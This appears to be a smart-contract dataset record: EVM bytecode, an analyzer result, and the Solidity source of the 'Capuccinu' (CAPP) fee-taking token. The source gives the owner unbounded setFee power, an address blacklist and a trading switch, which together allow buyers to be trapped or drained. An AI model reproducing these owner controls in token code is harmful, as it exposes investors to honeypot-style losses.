1561038f57600080fd5b6101e0600160a060020a0360043581169060243516604435610cdd565b005b34156103b957600080fd5b6103c1610d43565b60405160ff909116815260200160405180910390f35b34156103e257600080fd5b6102dd610dba565b604051600160a060020a03909116815260200160405180910390f35b341561041157600080fd5b61030c610dc9565b60405190815260200160405180910390f35b341561043657600080fd5b61028f610dd0565b604051901515815260200160405180910390f35b341561045d57600080fd5b61028f610e8e565b604051901515815260200160405180910390f35b341561048457600080fd5b61028f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a03169250610eba915050565b604051901515815260200160405180910390f35b341561050857600080fd5b61030c600160a060020a0360043516610ff9565b60405190815260200160405180910390f35b341561053957600080fd5b61028f600160a060020a036004358116906024359060443516611081565b604051901515815260200160405180910390f35b341561057657600080fd5b6101f561114c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102325780820151818401525b602001610219565b50505050905090810190601f16801561025f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561060157600080fd5b6102dd6111ea565b604051600160a060020a03909116815260200160405180910390f35b341561063057600080fd5b61028f600160a060020a03600435166024356111fa565b604051901515815260200160405180910390f35b341561066657600080fd5b61028f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061123a95505050505050565b604051901515815260200160405180910390f35b34156106df57600080fd5b61028f60048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061126d95505050505050565b604051901515815260200160405180910390f35b341561079457600080fd5b61028f600160a060020a03600435166112e4565b604051901515815260200160405180910390f35b34156107c757600080fd5b61030c611437565b60405190815260200160405180910390f35b34156107ec57600080fd5b61030c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061143d95505050505050565b60405190815260200160405180910390f35b341561084f57600080fd5b61028f61144c565b604051901515815260200160405180910390f35b341561087657600080fd5b61030c600160a060020a03600435811690602435166114ad565b60405190815260200160405180910390f35b34156108ad57600080fd5b61028f600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050509235600160a060020a03169250611544915050565b604051901515815260200160405180910390f35b341561093857600080fd5b6102dd600160a060020a036004351661168f565b604051600160a060020a03909116815260200160405180910390f35b60006109733361168f565b90505b90565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0f5780601f106109e457610100808354040283529160200191610a0f565b820191906000526020600020905b8154815290600101906020018083116109f257829003601f168201915b505050505081565b6000600160a060020a03831615610aba57610a30610968565b600160a060020a0316637b7054c884843360006040516020015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015260248101929092529091166044820152606401602060405180830381600087803b1515610a9857600080fd5b6102c65a03f11515610aa957600080fd5b505050604051805190509050610abe565b5060005b5b92915050565b600654600090600160a060020a03161515610ae257506000610976565b426203f480600754011115610af957506000610976565b506006805460058054600160a060020a0319908116600160a060020a03841617909155169055600060075560015b90565b600554600160a060020a03165b90565b600154600254600091600160a060020a03169063b524abcf90836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610b9157600080fd5b6102c65a03f11515610ba257600080fd5b50505060405180519150505b90565b60015433600160a060020a0390811691161415610c105781600160a060020a031683600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405190815260200160405180910390a35b5b5b505050565b6000600160a060020a03831615610cd157610c30610968565b600160a060020a031663ec698a288585853360006040516020015260405160e060020a63ffffffff8716028152600160a060020a03948516600482015292841660248401526044830191909152909116608482015260a06064820152600060a482015260e401602060405180830381600087803b1515610caf57600080fd5b6102c65a03f11515610cc057600080fd5b505050604051805190509050610cd5565b5060005b5b9392505050565b60015433600160a060020a0390811691161415610c105781600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35b5b5b505050565b600154600254600091600160a060020a03169063dc86e6f090836040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610b9157600080fd5b6102c65a03f11515610ba257600080fd5b50505060405180519150505b90565b600154600160a060020a031681565b6007545b90565b600154600254600091600160a060020a03169063e96b462a903390846040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610e3657600080fd5b6102c65a03f11515610e4757600080fd5b505050604051805190501561097657600654600160a060020a03161515610e7057506000610976565b5060068054600160a060020a0319169055600060075560015b5b5b90565b600160a060020a03331660009081526008602052604090208054600160a060020a031916905560015b90565b60008133600160a060020a0316610ed08261168f565b600160a060020a03161415610fee5760018054600254600160a060020a03909116906357a96dd09089908990898960006040516020015260405160e060020a63ffffffff8816028152600160a060020a03808716600483019081526024830187905260448301869052908316608483015260a060648301908152909160a40184818151815260200191508051906020019080838360005b83811015610f805780820151818401525b602001610f67565b50505050905090810190601f168015610fad5780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b1515610fcf57600080fd5b6102c65a03f11515610fe057600080fd5b505050604051805190501491505b5b5b50949350505050565b600154600254600091600160a060020a031690634d30b6be908490846040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561105f57600080fd5b6102c65a03f1151561107057600080fd5b50505060405180519150505b919050565b60008133600160a060020a03166110978261168f565b600160a060020a031614156111425760018054600254600160a060020a03909116906314712e2f90889088908860006040516020015260405160e060020a63ffffffff8716028152600160a060020a039485166004820152602481019390935260448301919091529091166064820152608401602060405180830381600087803b151561112357600080fd5b6102c65a03f1151561113457600080fd5b505050604051805190501491505b5b5b509392505050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0f5780601f106109e457610100808354040283529160200191610a0f565b820191906000526020600020905b8154815290600101906020018083116109f257829003601f168201915b505050505081565b600654600160a060020a03165b90565b6000600160a060020a03831615610aba5761122483836020604051908101604052600081526116e6565b9050610abe565b506000610abe565b5b92915050565b6000600160a060020a03841615610cd1576112568484846116e6565b9050610cd5565b506000610cd5565b5b9392505050565b600154600090600160a060020a03161561128957506000610cd5565b60018054600160a060020a031916600160a060020a03861617905560048380516112b7929160200190611803565b506112c18361143d565b60025560038280516112d7929160200190611803565b50600190505b9392505050565b600154600254600091600160a060020a03169063e96b462a903390846040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561134a57600080fd5b6102c65a03f1151561135b57600080fd5b505050604051805190501561107c57600654600160a060020a0316156113835750600061107c565b600160a060020a038216151561139b5750600061107c565b600554600160a060020a031615156113d0575060058054600160a060020a031916600160a060020a038316179055600161107c565b60068054600160a060020a031916600160a060020a038416179055426007557faf574319215a31df9b528258f1bdeef2b12b169dc85ff443a49373248c77493a82604051600160a060020a03909116815260200160405180910390a15060015b5b5b919050565b60025481565b6000602082015190505b919050565b600160a060020a033381166000908152600860205260408120549091161561147657506000610976565b5060055433600160a060020a0390811660009081526008602052604090208054600160a060020a0319169190921617905560015b90565b600154600254600091600160a060020a031690631c8d5d389085908590856040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561152157600080fd5b6102c65a03f1151561153257600080fd5b50505060405180519150505b92915050565b60008133600160a060020a031661155a8261168f565b600160a060020a031614156116835760018054600254600160a060020a039091169063161ff662908a908a908a908a8a60006040516020015260405160e060020a63ffffffff8916028152600160a060020a03808816600483019081528782166024840152604483018790526064830186905290831660a483015260c060848301908152909160c40184818151815260200191508051906020019080838360005b838110156116145780820151818401525b6020016115fb565b50505050905090810190601f1680156116415780820380516001836020036101000a031916815260200191505b50975050505050505050602060405180830381600087803b151561166457600080fd5b6102c65a03f1151561167557600080fd5b505050604051805190501491505b5b5b5095945050505050565b600160a060020a03808216600090815260086020526040812054909116156116d157600160a060020a03808316600090815260086020526040902054166116de565b600554600160a060020a03165b90505b919050565b60006116f0610968565b600160a060020a0316636a630ee7858585336000604051602001526040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a031681526020018481526020018060200183600160a060020a0316600160a060020a03168152602001828103825284818151815260200191508051906020019080838360005b838110156117915780820151818401525b602001611778565b50505050905090810190601f1680156117be5780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15156117df57600080fd5b6102c65a03f115156117f057600080fd5b50505060405180519150505b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061184457805160ff1916838001178555611871565b82800160010185558215611871579182015b82811115611871578251825591602001919060010190611856565b5b5061187e929150611882565b5090565b61097691905b8082111561187e5760008155600101611888565b5090565b905600a165627a7a723058200f4b4257ba268ebdf61c7fe5db344cc912339e56669ab24dc457815f41dad3970029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,323
0xf5f34818C84c37eBF5D361BB9A41612c52a685F4
/** * https://t.me/cappucinuportal / https://twitter.com/cappucinuETH */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Capuccinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Capuccinu"; string private constant _symbol = "CAPP"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 12; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 14; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x920dCc4D818EFf52525E09C8c233C617876b3Aa0); address payable private _marketingAddress = payable(0x920dCc4D818EFf52525E09C8c233C617876b3Aa0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //2% uint256 public _swapTokensAtAmount = 50000 * 10**9; //.5% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051b578063dd62ed3e1461053b578063ea1644d514610581578063f2fde38b146105a157600080fd5b8063a2a957bb14610496578063a9059cbb146104b6578063bfd79284146104d6578063c3c8cd801461050657600080fd5b80638f70ccf7116100d15780638f70ccf7146104135780638f9a55c01461043357806395d89b411461044957806398a5c3151461047657600080fd5b806374010ece146103bf5780637d1db4a5146103df5780638da5cb5b146103f557600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103555780636fc3eaec1461037557806370a082311461038a578063715018a6146103aa57600080fd5b8063313ce567146102f957806349bd5a5e146103155780636b9990531461033557600080fd5b80631694505e116101a05780631694505e1461026757806318160ddd1461029f57806323b872dd146102c35780632fd689e3146102e357600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023757600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab7565b6105c1565b005b3480156101ff57600080fd5b50604080518082019091526009815268436170756363696e7560b81b60208201525b60405161022e9190611be9565b60405180910390f35b34801561024357600080fd5b50610257610252366004611a07565b610660565b604051901515815260200161022e565b34801561027357600080fd5b50601454610287906001600160a01b031681565b6040516001600160a01b03909116815260200161022e565b3480156102ab57600080fd5b50662386f26fc100005b60405190815260200161022e565b3480156102cf57600080fd5b506102576102de3660046119c6565b610677565b3480156102ef57600080fd5b506102b560185481565b34801561030557600080fd5b506040516009815260200161022e565b34801561032157600080fd5b50601554610287906001600160a01b031681565b34801561034157600080fd5b506101f1610350366004611953565b6106e0565b34801561036157600080fd5b506101f1610370366004611b83565b61072b565b34801561038157600080fd5b506101f1610773565b34801561039657600080fd5b506102b56103a5366004611953565b6107be565b3480156103b657600080fd5b506101f16107e0565b3480156103cb57600080fd5b506101f16103da366004611b9e565b610854565b3480156103eb57600080fd5b506102b560165481565b34801561040157600080fd5b506000546001600160a01b0316610287565b34801561041f57600080fd5b506101f161042e366004611b83565b610883565b34801561043f57600080fd5b506102b560175481565b34801561045557600080fd5b506040805180820190915260048152630434150560e41b6020820152610221565b34801561048257600080fd5b506101f1610491366004611b9e565b6108cb565b3480156104a257600080fd5b506101f16104b1366004611bb7565b6108fa565b3480156104c257600080fd5b506102576104d1366004611a07565b610938565b3480156104e257600080fd5b506102576104f1366004611953565b60106020526000908152604090205460ff1681565b34801561051257600080fd5b506101f1610945565b34801561052757600080fd5b506101f1610536366004611a33565b610999565b34801561054757600080fd5b506102b561055636600461198d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058d57600080fd5b506101f161059c366004611b9e565b610a3a565b3480156105ad57600080fd5b506101f16105bc366004611953565b610a69565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611c3e565b60405180910390fd5b60005b815181101561065c5760016010600084848151811061061857610618611d85565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065481611d54565b9150506105f7565b5050565b600061066d338484610b53565b5060015b92915050565b6000610684848484610c77565b6106d684336106d185604051806060016040528060288152602001611dc7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b3565b610b53565b5060019392505050565b6000546001600160a01b0316331461070a5760405162461bcd60e51b81526004016105eb90611c3e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107555760405162461bcd60e51b81526004016105eb90611c3e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a857506013546001600160a01b0316336001600160a01b0316145b6107b157600080fd5b476107bb816111ed565b50565b6001600160a01b03811660009081526002602052604081205461067190611272565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016105eb90611c3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087e5760405162461bcd60e51b81526004016105eb90611c3e565b601655565b6000546001600160a01b031633146108ad5760405162461bcd60e51b81526004016105eb90611c3e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016105eb90611c3e565b601855565b6000546001600160a01b031633146109245760405162461bcd60e51b81526004016105eb90611c3e565b600893909355600a91909155600955600b55565b600061066d338484610c77565b6012546001600160a01b0316336001600160a01b0316148061097a57506013546001600160a01b0316336001600160a01b0316145b61098357600080fd5b600061098e306107be565b90506107bb816112f6565b6000546001600160a01b031633146109c35760405162461bcd60e51b81526004016105eb90611c3e565b60005b82811015610a345781600560008686858181106109e5576109e5611d85565b90506020020160208101906109fa9190611953565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2c81611d54565b9150506109c6565b50505050565b6000546001600160a01b03163314610a645760405162461bcd60e51b81526004016105eb90611c3e565b601755565b6000546001600160a01b03163314610a935760405162461bcd60e51b81526004016105eb90611c3e565b6001600160a01b038116610af85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105eb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610d3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b60008111610d9f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105eb565b6000546001600160a01b03848116911614801590610dcb57506000546001600160a01b03838116911614155b156110ac57601554600160a01b900460ff16610e64576000546001600160a01b03848116911614610e645760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105eb565b601654811115610eb65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105eb565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef857506001600160a01b03821660009081526010602052604090205460ff16155b610f505760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105eb565b6015546001600160a01b03838116911614610fd55760175481610f72846107be565b610f7c9190611ce4565b10610fd55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105eb565b6000610fe0306107be565b601854601654919250821015908210610ff95760165491505b8080156110105750601554600160a81b900460ff16155b801561102a57506015546001600160a01b03868116911614155b801561103f5750601554600160b01b900460ff165b801561106457506001600160a01b03851660009081526005602052604090205460ff16155b801561108957506001600160a01b03841660009081526005602052604090205460ff16155b156110a957611097826112f6565b4780156110a7576110a7476111ed565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ee57506001600160a01b03831660009081526005602052604090205460ff165b8061112057506015546001600160a01b0385811691161480159061112057506015546001600160a01b03848116911614155b1561112d575060006111a7565b6015546001600160a01b03858116911614801561115857506014546001600160a01b03848116911614155b1561116a57600854600c55600954600d555b6015546001600160a01b03848116911614801561119557506014546001600160a01b03858116911614155b156111a757600a54600c55600b54600d555b610a348484848461147f565b600081848411156111d75760405162461bcd60e51b81526004016105eb9190611be9565b5060006111e48486611d3d565b95945050505050565b6012546001600160a01b03166108fc6112078360026114ad565b6040518115909202916000818181858888f1935050505015801561122f573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124a8360026114ad565b6040518115909202916000818181858888f1935050505015801561065c573d6000803e3d6000fd5b60006006548211156112d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105eb565b60006112e36114ef565b90506112ef83826114ad565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133e5761133e611d85565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561139257600080fd5b505afa1580156113a6573d6000803e3d6000fd5b50505050